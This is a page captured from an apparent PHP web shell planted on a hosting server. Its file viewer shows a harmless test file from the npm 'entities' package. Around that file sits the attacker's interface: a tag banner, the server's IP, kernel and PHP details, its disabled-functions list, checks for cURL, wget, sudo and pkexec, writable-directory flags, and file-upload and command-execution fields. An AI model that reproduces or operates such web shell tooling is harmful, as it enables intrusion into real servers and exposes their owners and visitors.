X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 3.147.42.34
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/public_html/indijourneys.com/node_modules/entities/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/public_html/indijourneys.com/node_modules/entities/test/test.js
var assert = require("assert"),
    path = require("path"),
    entities = require("../");

describe("Encode->decode test", function() {
    var testcases = [
        {
            input: "asdf & ÿ ü '",
            xml: "asdf & ÿ ü '",
            html: "asdf & ÿ ü '"
        },
        {
            input: "&",
            xml: "&",
            html: "&"
        }
    ];
    testcases.forEach(function(tc) {
        var encodedXML = entities.encodeXML(tc.input);
        it("should XML encode " + tc.input, function() {
            assert.equal(encodedXML, tc.xml);
        });
        it("should default to XML encode " + tc.input, function() {
            assert.equal(entities.encode(tc.input), tc.xml);
        });
        it("should XML decode " + encodedXML, function() {
            assert.equal(entities.decodeXML(encodedXML), tc.input);
        });
        it("should default to XML encode " + encodedXML, function() {
            assert.equal(entities.decode(encodedXML), tc.input);
        });
        it("should default strict to XML encode " + encodedXML, function() {
            assert.equal(entities.decodeStrict(encodedXML), tc.input);
        });

        var encodedHTML5 = entities.encodeHTML5(tc.input);
        it("should HTML5 encode " + tc.input, function() {
            assert.equal(encodedHTML5, tc.html);
        });
        it("should HTML5 decode " + encodedHTML5, function() {
            assert.equal(entities.decodeHTML(encodedHTML5), tc.input);
        });
    });

    it("should encode data URIs (issue 16)", function() {
        var data = "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAALAAABAAEAAAIBRAA7";
        assert.equal(entities.decode(entities.encode(data)), data);
    });
});

describe("Decode test", function() {
    var testcases = [
        { input: "&", output: "&" },
        { input: "&", output: "&" },
        { input: "&", output: "&" },
        { input: "&", output: "&" },
        { input: "&", output: "&" },
        { input: "&", output: "&" },
        { input: "&", output: "&" },
        { input: ":", output: ":" },
        { input: ":", output: ":" },
        { input: ":", output: ":" },
        { input: ":", output: ":" }
    ];
    testcases.forEach(function(tc) {
        it("should XML decode " + tc.input, function() {
            assert.equal(entities.decodeXML(tc.input), tc.output);
        });
        it("should HTML4 decode " + tc.input, function() {
            assert.equal(entities.decodeHTML(tc.input), tc.output);
        });
        it("should HTML5 decode " + tc.input, function() {
            assert.equal(entities.decodeHTML(tc.input), tc.output);
        });
    });
});

var levels = ["xml", "entities"];

describe("Documents", function() {
    levels
        .map(function(n) {
            return path.join("..", "maps", n);
        })
        .map(require)
        .forEach(function(doc, i) {
            describe("Decode", function() {
                it(levels[i], function() {
                    Object.keys(doc).forEach(function(e) {
                        for (var l = i; l < levels.length; l++) {
                            assert.equal(entities.decode("&" + e + ";", l), doc[e]);
                        }
                    });
                });
            });

            describe("Decode strict", function() {
                it(levels[i], function() {
                    Object.keys(doc).forEach(function(e) {
                        for (var l = i; l < levels.length; l++) {
                            assert.equal(entities.decodeStrict("&" + e + ";", l), doc[e]);
                        }
                    });
                });
            });

            describe("Encode", function() {
                it(levels[i], function() {
                    Object.keys(doc).forEach(function(e) {
                        for (var l = i; l < levels.length; l++) {
                            assert.equal(entities.decode(entities.encode(doc[e], l), l), doc[e]);
                        }
                    });
                });
            });
        });

    var legacy = require("../maps/legacy.json");

    describe("Legacy", function() {
        it("should decode", runLegacy);
    });

    function runLegacy() {
        Object.keys(legacy).forEach(function(e) {
            assert.equal(entities.decodeHTML("&" + e), legacy[e]);
        });
    }
});

var astral = {
    "1D306": "\uD834\uDF06",
    "1D11E": "\uD834\uDD1E"
};

var astralSpecial = {
    "80": "\u20AC",
    "110000": "\uFFFD"
};

describe("Astral entities", function() {
    Object.keys(astral).forEach(function(c) {
        it("should decode " + astral[c], function() {
            assert.equal(entities.decode("&#x" + c + ";"), astral[c]);
        });

        it("should encode " + astral[c], function() {
            assert.equal(entities.encode(astral[c]), "&#x" + c + ";");
        });

        it("should escape " + astral[c], function() {
            assert.equal(entities.escape(astral[c]), "&#x" + c + ";");
        });
    });

    Object.keys(astralSpecial).forEach(function(c) {
        it("special should decode \\u" + c, function() {
            assert.equal(entities.decode("&#x" + c + ";"), astralSpecial[c]);
        });
    });
});

describe("Escape", function() {
    it("should always decode ASCII chars", function() {
        for (var i = 0; i < 0x7f; i++) {
            var c = String.fromCharCode(i);
            assert.equal(entities.decodeXML(entities.escape(c)), c);
        }
    });
});

Anon7 - 2022
SCDN GOK